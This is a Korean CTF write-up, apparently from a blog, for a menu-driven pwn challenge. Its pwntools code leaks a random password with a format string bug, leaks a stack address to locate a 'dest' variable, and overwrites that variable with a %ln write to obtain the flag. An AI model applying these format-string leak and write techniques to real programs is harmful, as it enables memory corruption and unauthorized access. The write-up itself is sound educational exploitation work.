exploit 설계
password
를 /dev/urandom에서 가져온다. 결국 랜덤 값이므로 2번에서 format string bug로 leak할 것이다.
- 구한
password
를 이용해 2번에서 kind kid list에 wyv3rn을 넣는다.
dest
와 wyv3rn이 달라야하므로 dest
를 2번으로 변조해야한다. 그래서 다시 한번 format string bug로 dest
의 주소를 찾아온다.
- 구한
dest
의 주소에 다른 값을 넣는다.
- 그 후 3번을 눌러 flag를 받는다.
1. leak password & add wyv3rn
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'%31$s')
password = p.recvn(8)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', password)
p.sendlineafter(b'Name : ', b'wyv3rn')
password
를 담고 있는 ptr
은 [rbp-0x18]
에 있다. 내가 입력 받는 s2
는 [rbp-0xe0]
에 있으므로 둘의 offset을 이용해 password
를 찾아본다.
password
를 구하고 kind kid list에 wyv3rn 을 넣는다.
2. find dest
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'%39$p')
dest = int(p.recvuntil(b'is')[:-3].ljust(8, b'\x00'), 16) - 0x1d8
dest
는 [rbp-0xc0]
에 있다. 따라서 또 s2
와의 offset을 이용해 dest
의 주소를 찾는다.
v2
를 입력하고 printf(s2);
직전의 s2
map이다. 0x7fffffffe5b8
의 값이 stack영역의 주소이므로, 원래 dest
와의 offset을 구해보면 0x1d8
임을 알 수 있다.
3. change dest
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', password)
p.sendlineafter(b'Name : ', p64(dest))
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'A%8$ln')
name[rbp-0xd0]
에 dest
의 주소를 담는다. 그리고 거기에 AAAAAAAA를 담는거로 하자.